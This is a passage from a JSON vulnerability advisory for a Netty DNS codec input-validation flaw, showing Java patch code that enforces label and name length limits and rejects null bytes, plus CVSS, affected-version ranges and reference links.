throw new IllegalArgumentException(\n                \"DNS label length \" + labelLen + \" exceeds maximum of 63: \" + name);\n        }\n        for (int i = 0; i < label.length(); i++) {\n            if (label.charAt(i) == '\\0') {\n                throw new IllegalArgumentException(\n                    \"DNS label contains null byte at index \" + i);\n            }\n        }\n        totalLength += 1 + labelLen;\n        if (totalLength > 254) {\n            throw new IllegalArgumentException(\n                \"DNS name exceeds maximum length of 255: \" + name);\n        }\n        buf.writeByte(labelLen);\n        ByteBufUtil.writeAscii(buf, label);\n    }\n    buf.writeByte(0);\n}\n```\n\n### Fix for Decoder (decodeDomainName)\n\n```java\n// Add after \"} else if (len != 0) {\":\nif (len > 63) {\n    throw new CorruptedFrameException(\"DNS label length \" + len + \" exceeds maximum of 63\");\n}\n// Add after \"name.append(...)\":\nif (name.length() > 255) {\n    throw new CorruptedFrameException(\"DNS domain name length exceeds maximum of 255\");\n}\n```\n\n## 9. Resources\n\n- [RFC 1035 Section 2.3.4: Size Limits](https://tools.ietf.org/html/rfc1035#section-2.3.4)\n- [RFC 1035 Section 4.1.4: Message Compression](https://tools.ietf.org/html/rfc1035#section-4.1.4)\n- [CWE-20: Improper Input Validation](https://cwe.mitre.org/data/definitions/20.html)\n- [CWE-400: Uncontrolled Resource Consumption](https://cwe.mitre.org/data/definitions/400.html)\n- [CWE-626: Null Byte Interaction Error](https://cwe.mitre.org/data/definitions/626.html)",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Maven",
      "name" : "io.netty:netty-codec-dns"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "4.2.0.Alpha1"
      }, {
        "fixed" : "4.2.13.Final"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 4.2.12.Final"
    }
  }, {
    "package" : {
      "ecosystem" : "Maven",
      "name" : "io.netty:netty-codec-dns"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "4.1.133.Final"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 4.1.132.Final"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/netty/netty/security/advisories/GHSA-cm33-6792-r9fm"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-42579"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/netty/netty"
  }, {
    "type" : "WEB",
    "url" : "https://tools.ietf.org/html/rfc1035#section-2.3.4"
  }, {
    "type" : "WEB",
    "url" : "https://tools.ietf.org/html/rfc1035#section-4.1.4"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-20", "CWE-400", "CWE-626" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-05-07T00:12:47Z",
    "nvd_published_at" : "2026-05-13T19:17:23Z"
  }
}